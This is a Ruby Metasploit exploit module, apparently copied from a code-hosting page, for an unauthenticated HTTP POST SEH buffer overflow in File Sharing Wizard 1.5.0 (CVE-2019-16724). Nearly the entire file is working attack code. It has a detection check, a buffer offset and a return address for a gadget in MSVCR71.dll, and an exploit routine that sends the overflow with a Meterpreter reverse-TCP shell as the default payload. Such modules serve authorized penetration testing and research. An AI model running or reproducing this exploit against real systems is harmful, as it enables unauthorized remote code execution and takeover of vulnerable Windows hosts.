Alan Foster
72 lines
2.0 KiB
Ruby
72 lines
2.0 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::Seh
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'File Sharing Wizard - POST SEH Overflow',
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'Description' => %q{
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This module exploits an unauthenticated HTTP POST SEH-based buffer overflow in File Sharing Wizard 1.5.0.
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},
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'Author' => [
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'x00pwn', # Original exploit
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'Dean Welch <dean_welch[at]rapid7.com>' # Module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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%w[CVE 2019-16724],
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%w[EDB 47412]
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],
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'Payload' =>
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{
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'BadChars' => "\x00\x20"
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},
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'DisclosureDate' => '2019-09-24',
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'DefaultOptions' =>
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{
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'RPORT' => 80,
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'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
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},
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'Platform' => 'win',
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'Arch' => [ARCH_X86],
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'Targets' =>
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[
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['Windows Vista / Windows 7 (x86)', { 'Offset' => 1040, 'Ret' => 0x7c38a67f }] # 0x7c38a67f : pop ecx # pop ecx # ret | {PAGE_EXECUTE_READ} [MSVCR71.dll]
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]
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)
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)
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end
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def check
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res = send_request_cgi
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if res.nil?
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fail_with(Failure::Unreachable, 'Connection timed out.')
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end
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# Checks for the `WWW-Authenticate` header in the response
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if res.code && res.code == 401 && res.headers['WWW-Authenticate'].include?('Basic realm="File Sharing Wizard"')
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CheckCode::Detected
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else
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CheckCode::Safe
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end
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end
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def exploit
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buf = rand_text_english(target['Offset'])
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buf << generate_seh_payload(target.ret)
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print_status('Sending payload to target')
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send_request_raw({ 'method' => 'POST', 'uri' => buf }, 0)
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end
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end
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